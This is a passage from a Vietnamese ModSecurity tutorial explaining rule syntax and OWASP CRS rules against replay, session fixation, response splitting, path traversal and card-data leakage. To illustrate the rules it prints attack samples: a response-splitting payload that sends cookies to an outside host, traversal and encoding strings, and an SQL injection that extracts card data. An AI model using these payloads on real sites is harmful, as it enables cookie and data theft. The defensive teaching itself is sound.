khi việc thực thi các nhóm rule có nhiều điều kiện sẽ làm lãng phí tài nguyên CPU. Trong
trường hợp này, bạn có thể thực hiện việc kiểm tra điều kiện của một rule và nên bỏ qua các
bước tiếp theo nếu điều kiện đầu vào không thỏa tiêu chí.
Ví dụ:
Trong các rule kiểm tra trong nhóm Cross Site Scripting (XSS) thì các mẫu tấn công như
UNION, ORDER BY, XP_CMD, ../../../, 1’ or 1=1 --, … là không cần thiết phải kiểm tra. Việc
sử dụng từ khóa skip sẽ giúp tối ưu tài nguyên xử lý trong trường hợp này.
If-Then-Else
Tuy ModSecurity không hỗ trợ các từ khóa if-then-else trong cấu trúc rule, nhưng bạn vẫn
có thể thực hiện cấu trúc kiểm tra điều kiện thông qua ví dụ bên dưới:
SecRule ARGS K1 id:1,nolog,pass,skip:2
SecRule ARGS K2 id:2,block
SecAction nolog,pass,skip:1
SecRule ARGS K3 id:3,block
SecRule đầu tiên sẽ quyết định một rule được thực hiện bên dưới. Nếu trong rule 1 trùng
mẫu, thì hành vi skip được thực hiện và chuyển đến thực hiện rule 3. Tuy nhiên, nếu rule 1
không trùng mẫu thì rule 2 sẽ được thực hiện và SecAction sẽ được thực hiện sau đó. Cấu trúc
rẽ nhánh này đảm bảo ruel 3 sẽ không thực thi nếu rule 1 không trùng mẫu dữ liệu.
38
Capturing Data
Các biến trong nhóm TX được phân biệt bởi giá trị từ 0 đến 9. Những biến này được dùng
trong việc thu thập dữ liệu đầu vào. Để sử dụng chức năng thu thập dữ liệu, bạn cần chú ý hai
điều sau:
Sử dụng dấu ngoặc đơn () trong trường hợp dùng các biểu thức so sánh, việc này giúp
ModSecurity xác định vị trí dữ liệu cần thu thập.
Sử dụng hành vi carpture trong rule, nơi mà bạn muốn thu thập dữ liệu.
Giả sử trong ứng dụng web có sử dụng việc chèn một mã xác định phiên làm việc (session)
vào URI như bên dưới:
http://www.modsec.com/69d032331009e7b0/index.html
Yêu cầu đặt ra là bạn cần xác định giá trị 69d032331009e7b0 trong URI để phục vụ việc
kiểm tra session người dùng. Tham khảo biểu thức so sánh trong rule sau:
# Initialize session state from the session identifier in URI
SecRule REQUEST_URI ^/([0-9a-fA-f]{16})/phase:1,nolog,pass,capture,setsid:%{TX.1}
Phân tích biểu thức ^/([0-9a-fA-f]{16})/ ta có:
Biểu thức Ý nghĩa biểu thức Giá trị TX
^/ Xác định vị trí thu thập dữ liệu, bắt
đầu bằng ký tự “/”.
TX.0 =
/69d032331009e7b0/
([0-9a-fA-f]{16}) Nội dung SessionID là một chuỗi bao
gồm 16 ký tự số, chữ thường, chữ hoa
(biểu thức phải được đặt trong dấu
ngoặc đơn).
TX.1 =
69d032331009e7b0
/ Vị trí kết thúc biểu thức.
Dưới dây là log audit quá trình ModSecurity thực hiện phân tích biểu thức:
[4] Recipe: Invoking rule 15b6610; [file
"/opt/modsecurity/etc/crs/activated_rules/carpturedata.conf"] [line "1"] [id "10000"].
[5] Rule 15b6610: SecRule "REQUEST_URI" "@rx ^/([0-9a-fA-f]{16})/"
"phase:1,auditlog,id:10000,nolog,pass,capture,setsid:%{TX.1}"
[4] Transformation completed in 7 usec.
[4] Executing operator "rx" with param "^/([0-9a-fA-f]{16})/" against REQUEST_URI.
[9] Target value: "/69d032331009e7b0/index.html"
[9] Added regex subexpression to TX.0: /69d032331009e7b0/
[9] Added regex subexpression to TX.1: 69d032331009e7b0 [4] Operator completed in 58 usec.
[9] Resolved macro %{TX.1} to: 69d032331009e7b0
39
Variable Manipulation
Hầu hết các dữ liệu mà ModSecurity phân tích sẽ được thao tác ở chế độ chỉ đọc (dữ liệu
tĩnh hoặc không thay đổi). Tuy nhiên, ModSecurity cũng hỗ trợ việc tạo ra các biến có giá trị
thay đổi nhằm phục vụ một số mục đích cụ thể.
Ta có thể tạo ra một biến bằng cách sử dụng hành vi setvar:
SecAction nolog,pass,setvar:tx.score=1 #giá trị của biến tx.score là 1.
SecAction nolog,pass,setvar:!tx.score #xóa giá trị biến tx.score.
SecAction nolog,pass,setvar:tx.score=+2 #giá trị tx.score sẽ tăng 2 mỗi khi thực hiện
action.
SecAction nolog,pass,setvar:tx.score=-1 #giá trị tx.score sẽ giảm mỗi khi thực hiện
action.
Metadata
Metadata được dùng trong rule với mục đích hiển thị thông tin chi tiết về cảnh báo mà rule
tạo ra. Các thông tin này không gây ảnh hưởng đến quá trình phân tích dữ liệu. Tuy nhiên,
metadata sẽ hỗ trợ bạn dễ dàng quản lý các cảnh báo trong quá trình phân tích log, giúp xác
định nhanh chóng nguyên nhân và cách phòng tránh các khai thác vào web server.
Tôi sẽ băt đầu với rule đơn giản như sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$" \
Id:10001,phase:1,t:none,log,block
Với các tham số như trên, thì rule 10001 vẫn hoạt động ổn định khi trùng mẫu. Tuy nhiên,
dữ liệu sau khi phân tích không cung cấp đủ thông tin chi tiết về thông tin kỹ thuật, các hướng
dẫn xử lý v.v…
[22/Jun/2013:01:21:57 +0700] [www.modsec.com/sid#139efb0][rid#1606370][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "1"] [id "10001"]
Để rule 10001 được mô tả tốt hơn về thông báo lỗi, tôi sẽ tùy biến rule lại như sau:
SecRule REQUEST_METHOD "!^(GET|HEAD)$" \
"phase:1,t:none,log,block,id:1001,rev:2,\
severity:WARNING,msg:'Request method is not allowed'"
Trong thông báo log, ta có thể ghi nhận thay đổi:
[22/Jun/2013:01:28:19 +0700] [www.modsec.com/sid#17f1fb0][rid#1a59350][/][2]
Warning. Match of "rx ^(GET|HEAD)$" against "REQUEST_METHOD" required. [file
"/opt/modsecurity/etc/crs/activated_rules/addingMetadata.conf"] [line "3"] [id "10001"] [rev
"2"] [msg "Request method is not allowed"] [severity "EMERGENCY"]
#rev: xác định phiên bản thay đổi của rule
40
#msg: dữ liệu mô tả về rule
#severity: thông báo mức độ nguy hiểm khi có cuộc tấn công vào hệ thống web (mức độ
nguy hiểm nhất là EMERGENCY (1) và ít nguy hiểm nhất là DEBUG (7).
XI. PHÂN TÍCH CÁC RULE ỨNG DỤNG THỰC TẾ
Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên.
Tham khảoDANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Replay Testing (OWASP-
WS-007)
Trong phần này, tôi sẽ phân tích trường hợp hạn chế việc khai thác vào các form html. Việc
sử dụng phương thức POST để nhận dữ liệu từ phía người dùng thường tạo ra nguy cơ gói tin
bị thay đổi trên đường truyền, nhầm thực hiện thêm/bớt dữ liệu phục vụ cho từng loại tấn công
khác nhau.
Để thực hiện chống lại phương pháp tấn công này, ta cần tham khảo các chỉ thị mà
ModSecurity hỗ trợ:
• SecDisableBackendCompression
• SecContentInjeciton
• SecStreamOutBodyInspection
• SecHashEngine
• SecHashKey
• SecHashParam
• SecHashMethodRx
Phương pháp này sẽ cho phép chèn một token kiểm tra vào dữ liệu HTML khi web server
(Apache) trả kết quả về phía người dùng. Bằng cách sử dụng hàm băm trên các tham số
trong phần thân HTML, ModSecurity sẽ chống lại việc chỉnh sửa thông tin trên kênh
truyền. Bên dưới là các rule và các chỉ thị hỗ trợ:
#vi /opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf
SecContentInjection On
SecStreamOutBodyInspection On
SecHashEngine On
SecHashKey rand keyOnly
SecHashParam rv_token
SecHashMethodrx "HashHref" "[a-zA-Z0-9]"
SecRule REQUEST_URI "@validateHash [a-zA-Z0-9]"
"phase:2,id:1000,t:none,block,msg:'Request Validation Violation.',ctl:HashEnforcement=On"
41
Chỉ thị đầu tiên SecDisableBackendCompression chỉ được sử dụng trong trường hợp
ModSecurity được triển khai như một reverse proxy. Dữ liệu trả về người dùng sẽ được nén
bằng thuật toán gzip nhằm giảm lưu lượng băng thông. Các chỉ thị SecEncryption tiếp theo
nhằm thông báo cho ModSecurity tạo ra chuỗi giá trị băm (hash value) ngẫu nhiên dựa trên
hash salt value và thành tố href trong phần thân HTML (xác định dựa trên mẫu đã được định
nghĩa regular expression).
Hình 6: Các liên kết trước khi thực hiện tạo token
42
Hình 7: Các liên kết sau khi thực hiện tạo token
Ta có thể theo dõi quá trình làm việc của ModSecurity bằng cách theo dõi debug log:
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php?rsd]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp-
content/themes/mog/main.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp-
content/themes/mog/style.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data
[css?family=Josefin+Slab%3A600&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data
[css?family=Open+Sans&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xfn/11]
Kiểm tra trong trường hợp các token trong URL cố tình bị loại bỏ tại phía người dùng, trong
trường hợp này kẻ tấn công thực hiện khai thác SQL Injection:
Trường
hợp
URL
43
Token hợp
lệ
http://www.modsec.com/2013/05/owasp-top-10-tools-and-
tactics/?rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e
Không có
token
http://www.modsec.com/2013/05/owasp-top-10-tools-and-
tactics/%20and%20union%20select%201,2,3,4,5,6
Trong trường hợp hacker cố tình loại bỏ token để chèn khai thác vào URL thì rule có id 1000
sẽ được so trùng và tạo cảnh báo tại audit_log.
[Wed Jun 05 18:12:16 2013] [error] [client 192.168.149.1] ModSecurity: Access allowed
(phase 2). Request URI matched "[a-zA-Z0-9]" at REQUEST_URI. No Hash parameter [file
"/opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf"] [line "7"]
[id "1000"] [msg "Request Validation Violation."] [hostname "www.modsec.com"] [uri
"/2013/05/owasp-top-10-tools-and-tactics/ and union select 1,2,3,4,5,6"] [unique_id
"Ua8dEH8AAAEAAAyJBzMAAAAE"]
Trường hợp 2: Phát hiện các Session cookie không hợp lệ
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Session
Fixation (OWASP-SM-003)
Trong trường hợp này, tôi sẽ phân tích trường hợp hacker cố gắng tự tạo Seesion Cookie để
khai thác theo phương pháp Session Fixation.
Một số thành phần tham khảo:
OWASP ModSecurity CRS
o modsecurity_crs_40_appsensor_detection_point_2.3_session_exception.c
onf
ModSecurity
o RESPONSE_HEADERS: Set-Cookie variable
o REQUEST_HEADERS: Cookie variable
o setsid action
o setvar action
Tấn công khai thác Session (session-guessing attack) là một dạng tấn công khá phổ biến
nhằm vào cookie_session trong ứng dụng web. Đối với những ứng dụng web thường dùng
cookie để xác thực (authentication), phân quyền (authorization) thì việc đoán trước giá trị
cookie sẽ cho phép hacker chiếm quyền phiên làm việc của một người dùng khác đã đăng nhập.
Trong ví dụ này, tôi sử dụng công cụ BurpSuite để phân tích phiên làm việc (SessionID) và
thống kê tính ngẫu nhiên của cookie do ứng dụng web tạo ra.
Đối tợng được kiểm tra: http://demo.testfire.net/
44
Hình 8: BurpSuite Sequencer module
Trong phần cấu hình Sequencer, BurpSuite phát hiện trường amSessionId dùng để định danh
người dùng truy cập vào hệ thống ứng dụng web. Ta tiến hành phân tích bằng cách thực thi
chức năng “start carpture”.
Sau khi phân tích 1090 Session Cookie ta được kết quả phân tích như sau:
45
Hình 9: Cookie đã thu thập
46
Hình 10: Kết quả thống kê
Theo kết quả thống kê ta thấy rằng tính ngẫu nhiên của các cookie là không cao. Theo đồ thị
thì các giá trị tại vị trí thứ 0,1,5,6 là không biến đổi, các vị trí còn lại có biến đổi nhưng tỉ lệ
thay đổ là không cao. Bằng cách này, hacker có thể ước lượng được cookie của một người dùng
khác đang login vào hệ thống. Bằng phép thử ngẫu nhiên, hacker sẽ nhận được 1 trong 2 trường
hợp sau:
Cookie đúng: hacker đăng nhập được vào trang quản trị người dùng.
Cookie sai: hacker được chuyển hướng sang trang yêu cầu đăng nhập.
Do phương pháp khai thác này là không khó, nhưng có thể tạo nên nguy cơ vượt qua cơ chế
xác thực người dùng, leo thang đặc quyền trong phần quản trị…
ModSecurity CRS hỗ trợ chống lại việc giả mạo session_cookie:
SecRule RESPONSE_HEADERS:/Set-Cookie2?/
"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw)?session[-
_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=
%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
SecRule UNIQUE_ID "(.*)"
"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"
47
SecRule REMOTE_ADDR "^(\d{1,3}\.\d{1,3}\.\d{1,3}\.)"
"chain,capture,setvar:session.ip_block=%{tx.1}"
SecRule REQUEST_HEADERS:User-Agent ".*"
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Theo mặc định, thì rule 981062 sẽ tìm những tên cookie phổ biến như:
WORDPRESSPASS
SESSIONID
JSESSIONID
SESSID
PHPSESSID
SESSION
SESSION_ID
SESSION-ID
ASPSESSION
JSERVSESSION
JWSESSION
CFID
CFTOKEN
CFSID
Trong trường hợp ứng dụng của bạn sử dụng một tên cookie khác với danh sách trên, thì ta
có thể dễ dàng định danh thêm giá trị cho rule 981062. Đối với webiste http://demo.testfire.net/
sử dụng tên cookie là amSessionId, ta có thể chỉnh sửa cho phù hợp như sau:
SecRule RESPONSE_HEADERS:/Set-Cookie2?/
"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[-
_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=
%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
SecRule UNIQUE_ID "(.*)"
"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"
SecRule REMOTE_ADDR "^(\d{1,3}\.\d{1,3}\.\d{1,3}\.)"
"chain,capture,setvar:session.ip_block=%{tx.1}"
SecRule REQUEST_HEADERS:User-Agent ".*"
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Sau khi đã định danh được session_cookie do ứng dụng web tạo ra, ModSecurity sẽ tạo ra
thêm một cookie mới gởi đến người dùng, đồng thời cookie này cũng được lưu trữ tại server để
bảo đảm không có trường hợp hacker sử dụng cookie giả để login vào hệ thống. Tham khảo
rule tạo cookie mới như bên dưới:
# -=[ SE2: Adding New Cookie ]=-
#
48
# -
https://www.owasp.org/index.php/AppSensor_DetectionPoints#SE2:_Adding_New_Cookie
#
# These rules will validate that the SessionID being submitted by the client is valid
#
SecRule
REQUEST_COOKIES:'/(wordpresspass_|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[-
_]?(id)?|cf(id|token)|sid)/' ".*" "chain,phase:1,id:'981054',t:none,block,msg:'Invalid SessionID
Submitted.',logdata:'SessionID Submitted:
%{tx.sessionid}',tag:'OWASP_AppSensor/SE2',setsid:%{matched_var},setvar:tx.sessionid=%{
session.key},skipAfter:END_SE_PROFILE_ENFORCEMENT"
SecRule &SESSION:VALID "!@eq 1"
"setvar:!session.KEY,t:none,setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx
.%{rule.id}-WEB_ATTACK/INVALID_SESSIONID-%{matched_var_name}=%{tx.0}"
Trong rule 981054, hành động (Action) setsid sử dụng giá trị amSessionId để làm giá trị lưu
trữ tại server như một thẻ định danh (indentify token). Sau đó, chuỗi kiểm tra quy tắc luận lý sẽ
xác định cookie trước đó có phù hợp hay không và trả kết quả vào biến valid. Giả sử trường
hợp hacker đưa vào một cookie không có thật, thì rule này sẽ thực hiện việc cảnh báo cho quản
trị hệ thống về nguy cơ khai thác session-guesting.
Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for HTTP
Splitting/Smuggling (OWASP-DV-016)
Các thành phần tham khảo
OWASP ModSecurity CRS
o Modsecurity_Crs_40generic_attacks.conf
ModSecurity
o REQUEST_URI variable
o REQUEST_BODY variable
o REQUEST_HEADERS variable
o XML variable
o @rx operator
Phương thức khai thác này thực hiện bằng cách chèn dữ liệu hoặc HTTP request giả vào một
HTTP header khác. Việc này dẫn đến kết quả tại phía người dùng sẽ nhận 2 phần dữ liệu khác
nhau trong cùng 1 trang HTML, là tiền đề cho các khai thác Cross-user defacement, Cache
Poisioning, XSS, Page Hijacking.
Dưới đây là một ví dụ trong mã nguồn PHP:
<?php
header (“Location: /lang_page.php?lang=”.$_GET[„language‟]);
?>
49
REQUEST GET /index.php?language=english HTTP/1.1
RESPONSE HTTP/1.1 302 Found
Location: /lang_page.php?lang=english
Nếu tại phía người dùng, hacker cố tình chèn ký tự Carriage Return (CR) hoặc Linefeed
(LF) vào các tham số trong URL, thì dẫn đến kết quả gói tin tại phía người dùng bị tái cấu trúc
theo mục đích của hacker.
Trong bảng dưới đây mô tả dạng tấn công DOM XSS bằng cách chèn đoạn HTML vào phía
người dùng cuối, tuy nhiên việc tạo một gói tin chèn vào phía người dùng là khá phức tạp.
GET /index.php?language=english
Cotent-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 171
<html><body%20onload='document.location.replace%20("http://www.swpag.info/cookie_tr
ap/"%252b%20document.cookie%252b"/URL/"%252bdocument.location);'></body></html>
HTTP/1.1
Bằng cách sử dụng ký tự %0d và/hoặc %0a thì ta có thể chuyển toàn bộ gói tin trên thành
một URL duy nhất:
GET /index.php?language=english%0aCotent-
Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-
Length%20171:%0a%0a<html><body%20onload='document.location.replace%20("http://ww
w.swpag.info/cookie_trap/"%252b%20document.cookie%252b"/URL/"%252bdocument.locati
on);'></body></html> HTTP/1.1
Để phòng chống lại dạng tấn công HTTP Reponse spliting, ta có thể sử dụng rule như sau:
# HTTP Response Splitting
#
# -=[ Rule Logic ]=-
# These rules look for Carriage Return (CR) %0d and Linefeed (LF) %0a characters.
# These characters may cause problems if the data is returned in a respones header and
# may be interpreted by an intermediary proxy server and treated as two separate
# responses.
#
# -=[ References ]=-
# http://projects.webappsec.org/HTTP-Response-Splitting
#
SecRule
REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR
50
GS_NAMES|ARGS|XML:/* "[\n\r](?:content-(type|length)|set-cookie|location):" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',t:none,t:lowercase,capture,ctl:
auditLogParts=+E,block,msg:'HTTP Response Splitting Attack',id:'950910',logdata:'Matched
Data: %{TX.0} found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{
tx.critical_anomaly_score},setvar:tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"
SecRule
REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR
GS_NAMES|ARGS|XML:/* "(?:\bhttp\/(?:0\.9|1\.[01])|<(?:html|meta)\b)" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',capture,t:none,t:htmlEntityDe
code,t:lowercase,ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting
Attack',id:'950911',logdata:'Matched Data: %{TX.0} found within
%{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{
tx.critical_anomaly_score},setvar:tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%{tx.0}"
Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Path Traversal
(OWASP-AZ-001)
Các thành phần tham khảo:
OWASP ModSecurity CRS
o modsecurity_crs_42_tight_security.conf
ModSecurity
o REQUEST_URI variable
o REQUEST_BODY variable
o REQUEST_HEADERS variable
o XML variable
Path traversal là một phương pháp khai thác dựa vào thao tác trên URL nhằm truy cập bất
hợp pháp vào các tập tin tại server. Hầu hết các nguyên nhân gây lỗi là do phía mã nguồn web
cho phép đọc dữ liệu từ một tập tin khác, bằng cách thay đổi giá trị đường dẫn trong chức năng
đọc tập tin ta có thể vượt quyền truy cập sang các thư mục chứa dữ liệu khác. Đặc trưng của
phương pháp khai thác này là sử dụng chuỗi ký tự phân cách cấu trúc thư mục, bao gồm ký tự
(/ hoặc \) và/hoặc . (dấu chấm) để chỉ định đường dẫn trực tiếp đến tập tin cần khai thác.(Trích
CAPEC-126: Path Traversalhttp://capec.mitre.org/data/definitions/126.html)
51
Hình 11: Kết quả khai thác Path-traversal
Trong ví dụ trên, ta có thể nhận thấy việc truy vập vào các tập tin cấu hình trên hệ thống là
rất nguy hiểm. Một ví dụ điển hình là Wordpress CMS ta có thể đọc nội dung wp-config.php để
tìm tài khoản đăng nhập cơ sở dữ liệu (phụ thuộc vào mã nguồn CMS mà website sử dụng).
Đối với một số webserver được cấu hình lọc một số dạng tập tin mở rộng, thì việc chèn thêm
ký tự null %00 vào cuối URL sẽ cho phép ta vượt qua cơ chế kiểm tra của webserver.
GET
/cart.php?a=add%26amp%3Bdomain%3Dtranfer%2Fcart.php%3Fa%3Dantisec&templatefile=
../../../../configuration.php%00 HTTP/1.1
Một số phương pháp biến đổi khác sẽ giúp cho hacker vượt cơ chế kiểm tra bởi webserver,
bảng dưới đây liệt kê một số kiểu biến đổi dữ liệu (chuỗi ban đầu /../):
Encoding Type Example
Hex %2f%2e%2e%2f
Short UTF-8 %c0%af%c0%ae%c0%ae%c0%af
Long UTF-8 %e0%80%af%e0%80%ae%e0%80%ae%e0%80
%af
Double % hex %252f%252e%252e%252f
Double nibble %%32%46%%32%45%%32%45%%32%46
Firt nibble %%32F%%32E%%32E%%32F
Second nibble %2%46%2%45%2%45%2%46
%U %u002f%u002e%u002e%u002f
Phòng chống Path-traversal trong ModSecurity CRS:
#Directory Traversal
52
SecRule
REQUEST_URI|REQUEST_BODY|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS
:Referer
"(?i)(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F
)|e0%80%af|1u|5c)|\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E)
)|\.){2}(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%4
6|F)|e0%80%af|1u|5c)|\/))" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'7',t:none,ctl:auditLogParts=+E,
block,msg:'Path Traversal Attack',id:'950103',severity:'2',logdata:'Matched Data: %{TX.0}
found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',t:none,capture,tag:'OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL'
,setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:'
tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL-
%{matched_var_name}=%{matched_var}'"
# Weaker signature
#SecRule REQUEST_FILENAME "\.\.[/\x5c]"
"phase:1,rev:'2.2.7',t:none,t:urlDecodeUni,capture,ctl:auditLogParts=+E,block,msg:'Path
Traversal
Attack',id:'950103',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.cr
itical_anomaly_score},setvar:'tx.%{rule.id}-WEB_ATTACK/DIR_TRAVERSAL-
%{matched_var_name}=%{matched_var}'"
Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: SQL Injection (OWASP-
DV-005)
Các thành phần tham khảo:
ModSecurity
o @verifyCCoperator
OWASP ModSecurity Core Rule Set
o modsecurity_crs_25_cc_known.conf
Việc rò rỉ thông tin người dùng như là số thẻ tín dụng (credit card number) là khá nghiêm
trọng đối với các ứng dụng thanh toán điện tử, cũng như các giải pháp ngân hàng. Thông
thường, việc lộ thông tin thường là kết quả của các cuộc tấn công SQL injection có mục đích
vào các trang thương mại điện tử, nhằm ăn cắp thông tin định danh thanh toán của người dùng.
Dưới đây là một ví dụ thực tế về việc ăn cắp thông tin của một ứng dụng web:
GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select
%20top%201%20convert(varchar,isnull(convert(varchar,OR_OrderDate),'
N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_FirstName),
53
'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_LastName)
,'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAdd
ress),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_Ord
erCity),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_O
rderZip),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_
OrderState),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,
OR_OrderCountry),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(var
char,OR_CCardName),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert
(v
archar,OR_CCardType),'NULL'))%2b'/'%2bconvert(varchar,isnull(conver
t
(varchar,OR_CCardNumberenc),'NULL'))%2b'/'%2bconvert(varchar,isnu
ll(
convert(varchar,OR_CCardExpDate),'NULL'))%2b'/'%2bconvert(varchar
,is
null(convert(varchar,OR_CCardSecurityCode),'NULL'))%2b'/'%2bconve
rt(
varchar,isnull(convert(varchar,OR_Email),'NULL'))%2b'/'%2bconvert(va
rchar,isnull(convert(varchar,OR_Phone1),'NULL'))%20from%20Orders%2
0w
here%20OR_OrderID=47699))--sp_password HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Cookie:
ASPSESSIONIDCCQCSRDQ=EHEPIKBBBFLOFIFOBPCJDBGP
Host: www.banking.com
X-Forwarded-For: 14.0.18.205
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=14.0.18.205
Trong câu truy vấn SQL trên, hacker thu thập dữ liệu cá nhân của người dùng tại các table
được in đậm. Các rule trong nhóm khai thác SQL injection có thể chống lại dạng tấn công này,
nhưng cần chú ý rằng các rule phát hiện SQL injection chỉ ở chế độ theo dõi (Detect-only). Sau
khi câu truy vấn SQL được thực thi tại phía server, thì giá trị trả về người dùng vẫn chứa thông
tin của thẻ tín dụng (bao gồm: tên chủ thẻ,loại thẻ, số thẻ, thời gian sử dụng…).
HTTP/1.1 500 Internal Server Error
Content-Length: 573
Content-Type: text/html
Cache-control: private
Connection: close
<font face="Arial" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font><font face="Arial"
size=2>error '80040e07'</font><p>
54
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'Feb 13 2007 12:00AM/47699/John/Doe/123 Bob Brown
Dr /Mystic/06355/CT/US/John C
Doe//NNNNNNNNNNNNNNNN/03/2008/4692/[email protected]/860.555.7578' to a
column of data type int.</font><p>
<font face="Arial" size=2>/cart/loginexecute.asp</font><font face="Arial" size=2>, line
49</font>
Việc khai thác của hacker trong trường hợp này là thành công, số thẻ tín dụng được thay thế
bằng chuỗi NNNNN… trong phần thân HTML. Trong phiên bản ModSecurity CRS hiện tại có
hỗ trợ tập lệnh modsecurity_crs_25_cc_known.conf, bao gồm cấu trúc các mẫu thẻ tín dụng
phổ biến như GSA SmartPay, MasterCard, Visa, American Express, Diners Club, enRoute,
Discover, JCB:
# MasterCard
SecRule ARGS "@verifyCC (?:^|[^\d])(5[1-5]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-
?\d{4})(?:[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'MasterCard Credit Card
Number detected in user input',id:'920005',tag:'PCI/10.2',severity:'5'"
# Visa
SecRule ARGS "@verifyCC (?:^|[^\d])(4\d{3}\-?\d{4}\-?\d{2}\-?\d{2}\-
?\d(?:\d{3})??)(?:[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'Visa Credit Card Number
detected in user input',id:'920007',tag:'PCI/10.2',severity:'5'"
# American Express
